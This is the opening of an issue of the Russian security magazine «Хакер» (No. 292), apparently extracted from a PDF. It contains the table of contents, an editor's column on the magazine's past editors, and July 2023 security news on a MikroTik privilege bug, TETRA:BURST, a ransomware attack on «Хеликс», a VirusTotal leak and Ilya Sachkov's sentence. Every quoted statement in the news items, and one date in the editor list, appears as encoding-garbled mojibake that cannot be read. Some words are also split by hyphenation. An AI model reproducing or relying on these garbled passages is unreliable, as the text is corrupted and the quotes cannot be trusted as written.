Вы находитесь на странице: 1из 32

№ 292

CONTENTS
Кто делал этот журнал
Колонка главреда
MEGANews
Самые важные события в мире инфосека за июль
Боевой дельфин
Что я успел натворить за месяц с Flipper Zero
Альтернативные прошивки Flipper Zero
Выбираем апгрейд для твоего «Флиппера»
Ласты для дельфина
Что могут внешние модули для Flipper Zero
В гостях у Дани
Павел Жовнер о проблемах разработки, новом маркетплейсе и следующем Flipper
JavaScript аль денте
Фаззим JS-движки при помощи Fuzzilli
Фундаментальные основы хакерства
Ищем структуры языков высокого уровня в программах для x86-64
СКУД глазами хакера
Атакуем системы контроля доступа на основе RFID
Standoff Talks #3
Шесть докладов, которые стоит посмотреть багхантеру
HTB Socket
Эксплуатируем SQL-инъекцию для атаки на SQLite через WebSocket
HTB Derailed
Пентестим веб-приложение на Ruby on Rails
HTB Inject
Используем Ansible playbooks для повышения привилегий
HTB Pollution
Эксплуатируем XXE и разбираемся с уязвимостью prototype pollution
Де-onion
Как ловят администраторов сайтов в Tor
5 утилит для OSINT
Собираем инструментарий сетевого разведчика
Маковый мониторинг
Отслеживаем системные события в macOS
Титры
Кто делает этот журнал
HEADER

КОЛОНКА ГЛАВРЕДА

Поздравляя нашего ведущего редактора


Валентина Холмогорова с днем рождения,
я шутки ради предложил ему стать самым
матерым из редакторов не только в жизни,
но и в титрах журнала. Неожиданно это при- Андрей Письменный
Главный редактор
вело к тому, что я три вечера кряду провел apismenny@gmail.com

в археологических раскопках.

В ответ на мое предложение Валентин только указал на оплошность —


не «матерый», мол, редактор, а «матерный», буковку пропустил. И тут я сразу
вспомнил о приколе, которым себя и читателей радовали наши древние
предки — первая редакция «Хакера».
Редакторы в ранних выпусках журнала звались «самый главный», «самый
геймерский», «самый вредный» и так далее.

Иван «SideX» Корноухов впервые появился в титрах с титулом «типа просто


редактор», но вскоре превзошел всех и стал именоваться «самым пьяным
редактором». Потом провел ребрендинг в «самого пивного» и под конец
карьеры в «Хакере» — в «самого дедлайнового».
Вообще, меня часто просят рассказать что-то из истории журнала, но я
пришел работать в «Хакер» только в 2015 году — в команду Ильи Русанена,
так что никакой ранней истории не застал и в качестве басенника в подметки
не гожусь нашим старожилам.
Чтобы иметь хоть какой-то исторический контекст, я временами отправ-
ляюсь в экспедицию и черпаю мудрость предков из первоисточника — старых
выпусков «Хакера».
В этот раз моим квестом стало превращение титров журнала в огромную
таблицу, из которой легко узнавать, кто когда приходил в редакцию и уходил
из нее и за какие рубрики отвечал.

Маленький кусочек таблицы

Поделюсь некоторыми находками.


Основной интерес, конечно, был к главредам. Сменялись они у нас не так
часто, проследить за ними легко, и каждый из них (нас) олицетворяет целую
эпоху в жизни журнала.

• 1999–2002 — Сергей «SINtez» Покровский


• 2002–2004 — Александр «2poisonS» Сидоровский
• 2004–2006 — Иван «Cutter» Петров
• 2006–2012 — Никита «Nikitos» Кислицин
• 2012–2014 — Степан «Step» Ильин
• 2014–2015 — Илья Илембитов
• 2015–2018 — Илья Русанен
• ñ 2018-ãî — Андрей Письменный

Не все главреды, покинув пост, уходили от него далеко. Покровский, нап-


ример, еще долгое время работал в Gameland, Илембитов несколько
месяцев продолжал вести свои рубрики, а Русанен с нами до сих пор —
повелевает инфраструктурой и разработкой внутренних инструментов.
Абсолютный чемпион по продолжительному главредству (пока что?) —
Никита Кислицин, руливший журналом шесть лет — с апреля 2006 года
по май 2012-го, а начинал еще редактором «Взлома» двумя годами ранее (в
возрасте 18 лет!). В номере 160 можешь прочитать его прощальное «Интро».

Номер 160 и последнее «Интро» Кислицина

К сожалению, сейчас узнавать о том, где Никита и что с ним, мы можем только
из новостей. Надеемся, что они будут хорошими!
Неизменным выпускающим при Кислицине был Николай «gorl» Андреев.
Ему же принадлежит и рекорд пребывания в этой должности.
Из редакторов дольше всех в титрах продержался Саша Лозовский. Наш
«доктор Klouniz» возглавил рубрику «Кодинг» летом 2006 года, а прекратил
работать над статьями в марте 2019-го.

Номер 176 — с колонкой Лозовского

На мой взгляд, у Лозовского в «Хакере» самая интересная траектория. Он


был редактором рубрики «Кодинг» при Пойзоне, потом при Куттере долгое
время заведовал выпуском, в команде Никитоса снова стал редактором
«Кодинга», потом на несколько номеров захватил еще и SYN/ACK и в какой-то
момент возглавил новую рубрику — Malware. А потом и «Кодинг» снова попал
в его заботливые руки.
Саша, если еще читаешь «Хакер», не забывай, что «Кодинг» всегда ждет
тебя! Только пришли весточку.
Вообще, карьерный путь амбициозного редактора прослеживается такой:
человек набирает на себя одну рубрику за другой, а потом через сколько-то
номеров либо становится главным или хотя бы выпускающим, либо пропада-
ет из титров — видимо, страшно задолбавшись.
Из набиральщиков должностей и рубрик самый яркий пример — Андрей
«Andrushock» Матвеев. Он в течение десяти лет вел рубрику Unixoid, но под
конец карьеры в «Хакере» взвалил на себя еще SYN/ACK, X-Mobile
и Phreaking; делал раздел DVD, посвященный Linux, и был замом главреда
по техническим вопросам. Где только берут таких работников?

Номер 181, где Степа прощается с нами

При том, что титры и присутствие в них вроде бы всех заботили, составлялись
они с криминальной небрежностью. Какие-то люди работали в журнале пару
месяцев и успели отметиться, но есть и герои, которые внесли огромный
вклад в развитие «Хакера», а в титры никогда не попадали.
Статьи легендарного Криса Касперски в иных номерах составляли чуть ли
не до трети объема. Но про заслуги Криса ты, наверное, уже в курсе. Если
нет, то обязательно глянь цикл по книге «Фундаментальные основы хакерс-
тва», которую Юра Язев только недавно закончил обновлять.
Другой герой и источник скрытой силы «Хакера» — Мария Нефёдова.
Маша писала в рубрику «Сцена» больше десяти лет подряд и при этом никог-
да не стремилась засветиться в редакторском составе.
Заведовали «Сценой» сначала Олег «mindwOrk» Чебенеев, потом Илья
Александров, потом во времена номеров 112 и 113 — загадочные «Петя
и Волк» (я так и не понял, кто это и почему так подписывался), а потом дол-
го-долго слово «Сцена» просто не появлялось в титрах, пока рубрика не упа-
ла в руки Ильи Илембитова, а спустя год — в мои.
Все это время Маша, помимо «Мегановостей», открывающих каждый
выпуск, стабильно радовала читателей топовыми материалами о знаменитых
хакерах и важных событиях. Спасибо ей за это!
Вообще, если интересуешься ранней историей «Хакера», рекомендую
глянуть таймлайн журнала с 1999-го по 2007 год и биографии нескольких
ключевых сотрудников (у кого-то, видимо, был такой же порыв копнуть исто-
рию).
А еще можешь почитать интервью, которое я брал у основателя Gameland
Димы Агарунова, тоже в рамках очередного изыскания. И думаю, не пос-
леднего.
Мария «Mifrill» Нефёдова
nefedova@glc.ru

В этом месяце: в стандарте транкинговой радиосвязи TETRA


нашли множество проблем, китайские хакеры похитили
у Microsoft важный криптографический ключ, 900 тысяч мар-
шрутизаторов MikroTik уязвимы перед новым багом, Google
разрабатывает «DRM для интернета» и другие интересные
события июля.

БАГ В MIKROTIK

Критическая уязвимость, допускающая повышение привилегий до уровня


Super Admin, угрожает более чем 900 тысячам маршрутизаторов MikroTik
с RouterOS на борту.
Проблема отслеживается под идентификатором CVE-2023-30799 и поз-
воляет злоумышленникам, у которых уже есть учетная запись администра-
тора, повысить свои привилегии до Super Admin через интерфейс WinBox
или HTTP.
Специалисты компании VulnCheck объясняют, что проблема не выглядит
серьезной лишь на первый взгляд. Ведь, казалось бы, если потенциальный
атакующий должен заранее иметь привилегии администратора, все не так уж
плохо. Но к сожалению, это вряд ли остановит злоумышленников, так
как RouterOS не предотвращает брутфорс-атаки, не предъявляет жестких
требований к паролю администратора, а также по умолчанию имеет аккаунт
admin, о котором известно очень давно.
Хуже того, до октября 2021 года пароль администратора по умолчанию
был пустой строкой, и эту проблему исправили только с релизом RouterOS
6.49. По данным исследователей, около 60% устройств MikroTik все
еще используют эту учетную запись, хотя производитель давно рекомендует
ее удалить.

« «Ìàññîâàÿ ýêñïëóàòàöèÿ (óÿçâèìîñòè) îñëîæíÿåòñÿ òåì, ÷òî äëÿ àòàêè


òðåáóþòñÿ äåéñòâèòåëüíûå ó÷åòíûå äàííûå. Îäíàêî ìàðøðóòèçàòîðàì
íå õâàòàåò áàçîâîé çàùèòû îò ïîäáîðà ïàðîëÿ, — ãîâîðÿò ýêñïåðòû
VulnCheck. — Ìû íàìåðåííî íå ïóáëèêóåì PoC-ýêñïëîèò, íî áóäü îí
äîñòóïåí, òî íàâåðíÿêà áûë áû èñïîëüçîâàí [õàêåðàìè] íà ïðàêòèêå
ñðàçó ïîñëå ïóáëèêàöèè íàøåé ñòàòüè».

Уязвимость была обнаружена еще в июне 2022 года, и инженеры MikroTik


»
исправили ее в октябре 2022 года в стабильной версии RouterOS (6.49.7),
а 19 июля 2023 года вышел патч для ветки Long-term (6.49.8). В VulnCheck
отмечают, что свежие патчи появились лишь после того, как специалисты свя-
зались с разработчиками и поделились с ними новыми эксплоитами.
По статистике Shodan, перед CVE-2023-30799 уязвимы 474 тысячи
устройств, поскольку их управляющая веб-страница доступна для удаленного
доступа. Однако, поскольку уязвимость также может использоваться через
WinBox (клиент для управления устройствами на базе MikroTik RouterOS),
количество уязвимых девайсов увеличивается почти вдвое и составляет
уже 926 тысяч устройств.

Версии RouterOS на устройствах, обнаруженных через Shodan

Исследователи объясняют, что привилегии уровня Super Admin имеют ряд


преимуществ перед обычными привилегиями администратора. Фактически
суперадминистратор получает полный и неограниченный доступ к операци-
онной системе RouterOS, и такие привилегии обычно может иметь базовое
ПО, но не пользователь.

УТЕЧКИ ПРОИСХОДЯТ В 4 РАЗА ЧАЩЕ


Роскомнадзор подсчитал, что с начала 2023 года в России случилось уже 76 утечек баз пер-
сональных данных против 19 за аналогичный период 2022 года. По подсчетам специалистов
регулятора, суммарно в сеть попали около 177 миллионов записей о гражданах.

Для сравнения: за первое полугодие 2022 года было зафиксировано 19 утечек персональных
данных, в открытый доступ попали около 45 миллионов записей.

В Роскомнадзоре уверены, что участившиеся взломы БД и их сливы в публичное пространс-


тво — это «часть гибридной войны, которая ведется против России».

У FLIPPER ZERO
ПОЯВИЛСЯ МАГАЗИН
ПРИЛОЖЕНИЙ

Разработчики хакерского «мультитула» Flipper запустили собственный ма-


газин приложений Flipper Apps, позволяющий пользователям устанавливать
сторонние приложения и расширять возможности своих устройств.
Магазин встроен в новую версию мобильного приложения Flipper Zero
для Android и iOS. Если раньше пользователям приходилось самостоятельно
искать приложения (как правило, в различных репозиториях, вроде GitHub)
и загружать их на устройство при помощи microSD, то теперь владельцы
Flipper Zero могут просматривать проверенные приложения прямо в магази-
не.
На момент запуска в магазине были доступны около 100 приложений, раз-
деленных на категории, включая «Игры», «Медиа», «Утилиты», RFID, NFC, USB.
Здесь можно найти hex-редакторы, фаззеры, универсальные пульты дис-
танционного управления и многое другое.
В компании подчеркивают, что любой разработчик может создать и отпра-
вить в Flipper Apps собственное приложение, настроив репозиторий GitHub
и создав pull request на включение в официальную кодовую базу.
Все приложения проходят ручную и автоматическую проверки, чтобы убе-
диться, что они безопасны и выполняют заявленные функции, работая
без доступа к запрещенным инструментам, протоколам или частотам.
При этом все приложения должны быть бесплатными и опенсорсными.

LINUX СТАЛ ПОПУЛЯРНЕЕ


В компании StatCounter подсчитали, что доля Linux-дистрибутивов на мировом рынке десктоп-
ных операционных систем впервые достигла 3,07%. Для сравнения: пять лет назад доля Linux
составляла лишь 1,69%.

Если рассматривать Chrome OS как еще одну Linux-систему, то к полученным данным можно
добавить еще 4,13%, в сумме получив уже целых 7,2%.

Также стоит отметить падение доли Windows с 76,33% до 68,23% за год. Предполагается, что
это связано с приостановкой продаж в России.

Уверенно растет и macOS, доля которой увеличилась с 14,64% в июне 2022 года до 21,32%
в текущем году.

Таким образом, в настоящее время под управлением Windows и macOS работают 89,5% всех
десктопов в мире, а остаток рынка делят между собой Chrome OS, Linux и «Неизвестно» (в эту
группу попали совсем новые или очень старые версии популярных ОС).

ХАКЕРЫ АТАКОВАЛИ
«ХЕЛИКС»

Лабораторная служба «Хеликс» пострадала от хакерской атаки, из-за чего


результаты анализов выдавали с задержкой. Хотя в заявлении компании под-
черкивается, что утечки персональных данных клиентов не было, хакеры опуб-
ликовали в даркнете 884 Мбайт данных, якобы украденных у компании
(7,3 миллиона строк).
Атака на «Хеликс» произошла в ночь с 15 на 16 июля 2023 года. Как сооб-
щили в пресс-службе компании, хакеры попытались внедрить в системы сети
диагностических центров шифровальщик, а затем потребовали выкуп за рас-
шифровку данных.
В компании уверяли, что ИТ-специалистам «Хеликс» удалось остановить
распространение малвари и только часть данных оказалась зашифрована.
Утром 16 июля диагностические центры уже могли принимать заказы, а после
компания якобы заработала в штатном режиме.

« «Â ñâÿçè ñ ÷àñòè÷íîé ïðèîñòàíîâêîé ðàáîòû ëàáîðàòîðíûõ êîìïëåêñîâ


íàáëþäàþòñÿ çàäåðæêè â âûäà÷å ðåçóëüòàòîâ ïî çàêàçàì
îò 15 è 16 èþëÿ. Âñå ðåçóëüòàòû áóäóò îòïðàâëåíû êëèåíòàì íà ýëåê-
òðîííóþ ïî÷òó íå ïîçäíåå 23:59 17 èþëÿ. Âàæíî, ÷òî êîìïàíèè óäà-
ëîñü èçáåæàòü ïîòåðè êàêèõ ëèáî äàííûõ, à òàêæå óòå÷êè ïåðñîíàëü-
íûõ äàííûõ êëèåíòîâ», — ñîîáùàëà òîãäà ïðåññ ñëóæáà.

Руководитель отдела информационной безопасности «Хеликс» Александр


»
Луганский также заявил СМИ, что для предотвращения утечки в дальнейшем
компания предприняла ряд мер, в том числе сбросила все пароли в личных
кабинетах розничных и корпоративных клиентов.
По его словам, внутри сети также были усилены политики безопасности,
настроен дополнительный мониторинг и велась постоянная работа
над минимизацией риска возможных утечек.

« «Íà äàííûé ìîìåíò ìû ïðîäîëæàåì ðàññëåäîâàíèå èíöèäåíòà


è âûÿñíÿåì õðîíîëîãèþ àòàêè. Ïî èòîãàì ðàññëåäîâàíèÿ êîìïàíèåé
áóäåò ïðèíÿòî ðåøåíèå î íåîáõîäèìîñòè îáðàùåíèÿ â ïðàâîîõ-
ðàíèòåëüíûå îðãàíû», — ñîîáùèë Ëóãàíñêèé.

Тем временем атаковавшие «Хеликс» злоумышленники начали сливать якобы


»
украденную информацию в даркнете, так как компания отказалась идти
с ними на переговоры. На хакфоруме был опубликован дамп БД клиентов
компании размером 884 Мбайт, насчитывающий около 7 300 000 строк.
По данным ИБ-исследователей, в файле содержатся персональный ID, ФИО,
дата рождения, а иногда email, телефон, СНИЛС.

Как видно на скриншоте выше, злоумышленники угрожают вскоре продолжить


публикацию и выложить «по-настоящему чувствительную информацию», если
представители компании не выйдут с ними на связь.
В пресс-службе «Хеликс» сообщили «Хакеру» следующее:

« «Òðàíñëèðóåìàÿ çëîóìûøëåííèêàìè èíôîðìàöèÿ î òîì, ÷òî â ñåòü


èíòåðíåò ïîïàëà áàçà ïåðñîíàëüíûõ äàííûõ êëèåíòîâ „Õåëèêñ“,
íå ñîîòâåòñòâóþò äåéñòâèòåëüíîñòè. Ñî ñâîåé ñòîðîíû ìû íå çàôèê-
ñèðîâàëè óòå÷êó äàííûõ, à èíôîðìàöèÿ, ôðàãìåíòû êîòîðîé ïîëó÷èëà
íàøà ÈÒ êîìàíäà è êîòîðóþ êèáåðìîøåííèêè íàçûâàþò áàçîé
„Õåëèêñ“, âûçûâàåò ñîìíåíèÿ â äîñòîâåðíîñòè, òàê êàê òàì ïðèñóòñ-
òâóþò çàïèñè î ëþäÿõ, êîòîðûå íèêîãäà íå áûëè êëèåíòàìè „Õåëèêñ“.
Ïî îöåíêå êîìïàíèè, ýòî ìîæåò áûòü áàçà ïåðñîíàëüíûõ äàííûõ êëè-
åíòîâ äðóãèõ îðãàíèçàöèé, êîòîðûå ðàíåå ïîäâåðãàëèñü õàêåðñêèì
àòàêàì è ÷üè áàçû ïîïàëè â èíòåðíåò. Íà äàííûé ìîìåíò ìû ïðîäîë-
æàåì ðàññëåäîâàíèå äàííîãî èíöèäåíòà è âûÿñíÿåì õðîíîëîãèþ àòà-
êè. Ê ðàññëåäîâàíèþ ïðèâëå÷åíû â òîì ÷èñëå ñîîòâåòñòâóþùèå ïîä-
ðàçäåëåíèÿ Ôåäåðàëüíîé ñëóæáû áåçîïàñíîñòè ÐÔ».
»
БИЛЛ ГЕЙТС ОБ ИСКУССТВЕННОМ ИНТЕЛЛЕКТЕ

Уже не в первый раз Билл Гейтс затрагивает в своем блоге темы, связанные с развитием
искусственного интеллекта. Этот материал он посвятил возможным рискам, которые ждут
людей из-за развития ИИ.
Гейтс полагает, что это не первый раз, когда крупная инновация создает новые угрозы,
которые нужно контролировать. В качестве примера он приводит появление автомобилей и ПК
и отмечает, что многие проблемы, связанные с ИИ, можно будет решить с помощью ИИ.

→ «Вскоре после появления первых автомобилей на дорогах произошла первая


автомобильная авария. Но мы не запретили автомобили. Мы ввели ограничения
скорости, стандарты безопасности, лицензионные требования, законы о вож-
дении в нетрезвом виде и другие правила дорожного движения.
Сейчас мы находимся на самой ранней стадии другого глубокого изме-
нения — эпохи ИИ. Она аналогична тем неуверенным временам, когда не было
ограничений скорости и ремней безопасности. ИИ меняется так быстро, что
неясно, что будет дальше. Перед нами стоят большие вопросы, связанные
с тем, как работает нынешняя технология, как люди будут использовать ее
в злонамеренных целях и как ИИ изменит нас как общество и как отдельных
людей.
Из всего, что было написано до сих пор о рисках ИИ (а написано было
немало), ясно одно: ни у кого нет ответов на все вопросы. Для меня также оче-
видно, что будущее ИИ не так мрачно, как думают одни, и не так радужно,
как думают другие. Риски реальны, но я с оптимизмом смотрю на то, что ими
можно управлять», — рассказывает Гейтс.

УТЕЧКА
ЧЕРЕЗ VIRUSTOTAL

Сотрудник принадлежащей Google платформы VirusTotal случайно загрузил


на сайт файл с именами и адресами электронной почты сотен людей, работа-
ющих в спецслужбах и министерствах обороны по всему миру. В частности,
в список попали лица, связанные с Киберкомандованием США, АНБ, Пен-
тагоном, ФБР и рядом подразделений армии США.
Утечку этого важного файла размером 313 Кбайт, содержащего информа-
цию о 5600 клиентах VirusTotal, обнаружили журналисты издания Der Spiegel.
По их словам, список содержит названия организаций и адреса электронной
почты сотрудников, зарегистрировавших учетные записи.
Издание подчеркивает, что проверило подлинность списка и убедилось,
что многие из перечисленных людей на самом деле являются госслужащими,
а некоторых из пострадавших можно без труда найти в LinkedIn.
Как оказалось, свыше двадцати записей в списке принадлежат сотрудни-
кам Киберкомандования США, Министерства юстиции США, Пентагона,
федеральной полиции, ФБР, АНБ.
От Великобритании в список попали более десяти сотрудников Минис-
терства обороны, а также email-адреса, принадлежащие сотрудникам CERT-
UK, входящего в состав Центра правительственной связи страны (GCHQ).
В соответствии с форматом электронной почты GCHQ, ящики сотрудников
содержат только инициалы фамилий каждого пользователя.
Зато полные имена содержатся в email-адресах, принадлежащих спе-
циалистам Минобороны, Кабинета министров, Управления по выводу из экс-
плуатации атомных электростанций и Пенсионного фонда Великобритании.
Также жертвами утечки стали сотрудники различных министерств Гер-
мании (включая Федеральную полицию, Федеральное управление уголовной
полиции и Службу военной контрразведки), Египта, Израиля, Катара, Колум-
бии, Литвы, ОАЭ, Польши, Саудовской Аравии, Словакии, Турции, Украины,
Франции, Чехии, Эстонии и Японии.
Еще около тридцати почтовых адресов принадлежат сотрудникам
Deutsche Bahn (основной железнодорожный оператор Германии), а также
в файле можно найти данные сотрудников Bundesbank и таких крупных ком-
паний, как BMW, Mercedes-Benz и Deutsche Telekom.
Хотя утечка затрагивает только email-адреса и имена, даже они могут
стать ценной информацией для хакеров. Дело в том, что файл проливает свет
на людей, которые занимаются вопросами кибербезопасности и вредонос-
ным ПО во многих компаниях, ведомствах и организациях. В итоге они могут
стать мишенями для целевых фишинговых атак или социальной инженерии.
К тому же из списка можно понять, что, например, некоторые военнослу-
жащие используют в работе личные почтовые ящики и личные учетные записи
Gmail, Hotmail и Yahoo.
Представители Google уже сообщили СМИ, что им известно о произошед-
шей утечке и компания приняла все необходимые меры для ее ликвидации.

« «Íàì èçâåñòíî, ÷òî îäèí èç íàøèõ ñîòðóäíèêîâ íåïðåäíàìåðåííî ðàñ-


ïðîñòðàíèë íà ïëàòôîðìå VirusTotal íåáîëüøîé ñåãìåíò email-àäðåñîâ
àäìèíèñòðàòîðîâ ãðóïï êëèåíòîâ è íàçâàíèé îðãàíèçàöèé. Ìû óäà-
ëèëè ñïèñîê ñ ïëàòôîðìû â òå÷åíèå ÷àñà ïîñëå åãî ðàçìåùåíèÿ
è èçó÷àåì íàøè âíóòðåííèå ïðîöåññû è òåõíè÷åñêèå ñðåäñòâà êîíòðî-
ëÿ, ÷òîáû óëó÷øèòü èõ ðàáîòó â áóäóùåì», — çàÿâèëè â êîìïàíèè.
»
5 000 000 ДОМЕНОВ В ЗОНЕ .RU
Координационный центр доменов .RU/.РФ сообщил, что по итогам второго квартала 2023 года
наибольший рост показали национальные домены Китая (+3,3%), Бразилии (+2,1%) и России
(+1,4%).

После снижения в 2022 году российская национальная зона уже два квартала демонстрирует
небольшой рост, и по итогам второго квартала она выросла на 69 019 доменов. Общее число
зарегистрированных имен в итоге составило 5 004 957.

Продолжение статьи →
← Начало статьи

В СТАНДАРТЕ TETRA
НАШЛИ МНОЖЕСТВО
ПРОБЛЕМ

Исследователи выявили пять уязвимостей в стандарте TETRA (Terrestrial


Trunked Radio), который используют правоохранительные органы, военные
и операторы критической инфраструктуры по всему миру. Уязвимости получи-
ли общее название TETRA:BURST и позволяют расшифровывать данные
в режиме реального времени. При этом эксперты считают, что обнаружили
бэкдор, который, похоже, был создан намеренно.

Стандарт TETRA разработан Европейским институтом телекоммуникационных стандартов (ETSI)


в 1995 году и с тех пор широко применяется более чем в 100 странах мира. Часто TETRA
используется в качестве полицейской системы радиосвязи, а также для управления критичес-
кими системами, включая электрические сети, газопроводы и железные дороги. В России и в
странах ЕС TETRA применяется в служебных и технологических сетях связи (речевой и для
передачи данных) железнодорожного транспорта.
По информации издания Wired, TETRA используют как минимум двадцать критически важ-
ных инфраструктур в США. В их число входят электроэнергетические предприятия, погранич-
ная служба, нефтеперерабатывающий завод, химические заводы, крупная система обществен-
ного транспорта, три международных аэропорта и учебная база армии США.

Проблемы были выявлены голландской компанией Midnight Blue


еще в 2021 году, и на сегодняшний день нет доказательств того, что уяз-
вимости использовались злоумышленниками.
В настоящее время для некоторых уязвимостей из списка TETRA:BURST
уже выпущены исправления, и теперь исследователи смогли рассказать
о багах публично. При этом не все проблемы в целом можно исправить
с помощью патчей, и пока неясно, какие производители уже подготовили
исправления для своих клиентов.

« «Â çàâèñèìîñòè îò êîíôèãóðàöèè èíôðàñòðóêòóðû è êîíêðåòíûõ


óñòðîéñòâ, óÿçâèìîñòè ïîçâîëÿþò âûïîëíÿòü ðàñøèôðîâêó äàííûõ
â ðåàëüíîì âðåìåíè, àòàêè òèïà „ñáîð ñåé÷àñ — ðàñøèôðîâêà ïîçæå“,
à òàêæå îñóùåñòâëÿòü èíúåêöèè ñîîáùåíèé, äåàíîíèìèçàöèþ ïîëü-
çîâàòåëåé è ïðèâÿçêó ñåàíñîâîãî êëþ÷à», — ñîîáùàþò ñïåöèàëèñòû.

В основе TETRA лежит набор секретных проприетарных криптографических


»
алгоритмов: набор TETRA Authentication Algorithm (TAA1), предназначенный
для аутентификации и распределения ключей, а также набор TETRA
Encryption Algorithm (TEA) для Air Interface Encryption (AIE).
В целом стандарт включает четыре алгоритма шифрования — TEA1, TEA2,
TEA3 и TEA4, которые могут использоваться производителями в различных
продуктах (в зависимости от их предназначения и заказчика). Так,
TEA1 рекомендован для коммерческого использования и применяется в кри-
тической инфраструктуре ЕС и других стран мира, однако, согласно ETSI, он
также ориентирован на использование службами общественной безопас-
ности и военными. Сами исследователи обнаружили, что некоторые полицей-
ские ведомства тоже полагаются на TEA1.
TEA2 предназначен для европейской полиции, служб экстренной помощи,
военных и спецслужб. TEA3 доступен для полиции и служб экстренной
помощи за пределами ЕС — в странах, считающихся «дружественными»
по отношению к европейским, включая Мексику и Индию. «Недружественные»
страны, например Иран, могут использовать только TEA1. Что касается TEA4,
по словам исследователей, он почти нигде не применяется.
Все алгоритмы охраняются как коммерческая тайна и защищены строгими
соглашениями о неразглашении.
Чтобы добраться до алгоритмов и изучить их, исследователи приобрели
на eBay радиостанцию Motorola MTM5400 и потратили четыре месяца
на поиск и извлечение алгоритмов из защищенного анклава в прошивке
устройства. Им пришлось использовать ряд 0-day-эксплоитов, чтобы обойти
защиту Motorola (компании сообщили о них и дали возможность исправить).
В итоге в ходе реверс-инжиниринга TAA1 и TEA исследователи выявили пять
проблем, от незначительных до критических:
• CVE-2022-24400 — ошибка в алгоритме аутентификации позволяет зло-
умышленникам установить для Derived Cypher Key (DCK) значение 0;
• CVE-2022-24401 — генератор ключевых последовательностей AIE исполь-
зует сетевое время, которое передается открыто, без аутентификации, что
допускает расшифровку и oracle-атаки;
• CVE-2022-24402 — TEA1 имеет бэкдор, который сокращает исходный 80-
битный ключ до таких размеров (32 бита — меньше половины длины клю-
ча), что его можно за считаные минуты подобрать брутфорсом на обычном
потребительском ноутбуке;
• CVE-2022-24403 — криптографическая схема, используемая
для обфускации радиоидентификаторов, позволяет злоумышленникам
деанонимизировать и отслеживать пользователей;
• CVE-2022-24404 — отсутствует ciphertext-аутентификация в AIE, что поз-
воляет проводить так называемые атаки на гибкость (malleability attack).

Исследователи объясняют, что влияние перечисленных уязвимостей в зна-


чительной степени зависит от того, как TETRA используется, например
от того, передаются ли этим способом голос или данные, а также какой имен-
но криптографический алгоритм применен.
Серьезнее всех среди обнаруженных проблем CVE-2022-24401, которая
может использоваться для раскрытия текстовых и голосовых сообщений
или данных без ключа шифрования.
Вторая критическая уязвимость, CVE-2022-24402, обнаруженная в TEA1,
позволяет злоумышленникам выполнять инжекты в трафик, который исполь-
зуется для мониторинга и контроля промышленного оборудования.
По словам экспертов, расшифровка трафика и инъекции вредоносного
трафика могут позволить злоумышленникам совершать различные опасные
действия, включая размыкание автоматических выключателей на электричес-
ких подстанциях, что, например, может привести к отключению электроэнер-
гии, как происходило во время атак малвари Industroyer.

«Уязвимость в TEA1 (CVE-2022-24402), очевидно, является результатом


преднамеренного ослабления», — утверждают специалисты Midnight Blue.
По их словам, эффективная энтропия ключа уменьшена намеренно и, судя
по всему, речь идет о самом настоящем бэкдоре.
В ответ на эти обвинения в ETSI заявили, что «стандарты безопасности
TETRA были определены совместно с национальными службами безопас-
ности, разработаны в соответствии с правилами экспортного контроля и под-
падают под их действие, что определяет стойкость шифрования». В Европей-
ском институте телекоммуникационных стандартов отметили, что
в 1995 году 32-битный ключ обеспечивал должную безопасность, однако его
надежность ослабили доступные теперь вычислительные мощности.
Исследователи Midnight Blue планируют представить свои выводы в сле-
дующем месяце на конференции Black Hat в Лас-Вегасе, после чего будет
опубликован детальный технический анализ и секретные алгоритмы шиф-
рования TETRA, которые раньше были недоступны широкой общественности.
Специалисты надеются, что их коллеги, обладающие большим опытом, смо-
гут изучать алгоритмы и, вероятно, выявить другие проблемы TETRA.

ТРАФИК CHATGPT СНИЖАЕТСЯ


По данным аналитиков Similarweb, эффект новизны прошел и трафик ChatGPT впервые стал
демонстрировать снижение. Так, в июне 2023 года трафик чат-бота сократился на 9,7%
по сравнению с маем текущего года.

Также на 8,5% сократилось количество времени, которое посетители проводят на сайте. Вмес-
те с вовлеченностью падает и количество уникальных посетителей, которое в июне «просело»
на 5,7%. Однако отмечается, что ChatGPT по-прежнему привлекает больше посетителей, чем
bing.com или Character.AI.

ИЛЬЯ САЧКОВ
ПРИГОВОРЕН
К 14 ГОДАМ ТЮРЬМЫ

Основатель и бывший глава компании Group-IB Илья Сачков приговорен


к 14 годам колонии строгого режима и штрафу в 500 тысяч рублей по делу
о госизмене (ст. 275 УК РФ). Свою вину Сачков не признает, его защитники
заявили о намерении обжаловать приговор и обратиться к президенту РФ.
26 июля 2023 года Московский городской суд вынес обвинительный при-
говор основателю компании Group-IB (теперь FACCT). Дело рассматривалось
в закрытом режиме тройкой судей, и, в чем именно суд признал Сачкова
виновным, неизвестно, так как дела по госизмене засекречены. Согласно
решению суда, один день в СИЗО будет зачтен за один день срока в колонии.
Напомним, что Илья Сачков был арестован в сентябре 2021 года
по подозрению в госизмене, а в офисах Group-IB тогда прошли обыски.
С этого момента он находился под следствием в СИЗО «Лефортово».
Как теперь сообщают СМИ, сторона обвинения запрашивала для Сач-
кова 18 лет колонии, и 24 июня в Telegram-канале Сачкова появился ком-
ментарий о запрошенном прокуратурой сроке заключения:

« «Ýòà öèôðà íå ìåøàåò ìíå ñ óëûáêîé, äîñòîèíñòâîì è ÷åòêèì õîëîä-


íîêðîâíûì ïðîôåññèîíàëèçìîì äåëàòü, ÷òî äîëæíî. ß âñþ æèçíü
ðàáîòàþ ñ öèôðàìè, ÷èñëàìè, êîäàìè, è íè îäíà èç íèõ ìåíÿ â ñòóïîð
íå ââîäèëà. <...> Åñëè áóäåò îáâèíèòåëüíûé ïðèãîâîð, ýòî áóäåò îäíà
èç ñàìûõ óñïåøíûõ îïåðàöèé àìåðèêàíñêèõ ñïåöñëóæá è î÷åðåäíîé
ñïëàíèðîâàííûé óäàð ïî ðîññèéñêîìó IT-ñåêòîðó».

Представители компании FACCT уже опубликовали официальное заявление


»
о вынесенном Сачкову приговоре. В компании отметили, что сотрудники
стойко восприняли случившееся, они продолжают поддерживать Илью
и надеются, что он выйдет на свободу и будет реабилитирован, «как это неод-
нократно происходило в истории».

« «Ýòî òÿæåëûé ìîìåíò äëÿ âñåõ íàñ è ÷åðíûé äåíü äëÿ ðûíêà êèáåð-
áåçîïàñíîñòè. Èëüÿ Ñà÷êîâ, ìîé äðóã, êîëëåãà, ñîçäàòåëü îäíîé
èç ñàìûõ óñïåøíûõ âûñîêîòåõíîëîãè÷íûõ êîìïàíèé â ñôåðå êèáåð-
áåçîïàñíîñòè — â ðåçóëüòàòå „ñêîðîãî ñóäà“ îòïðàâëåí â êîëîíèþ.
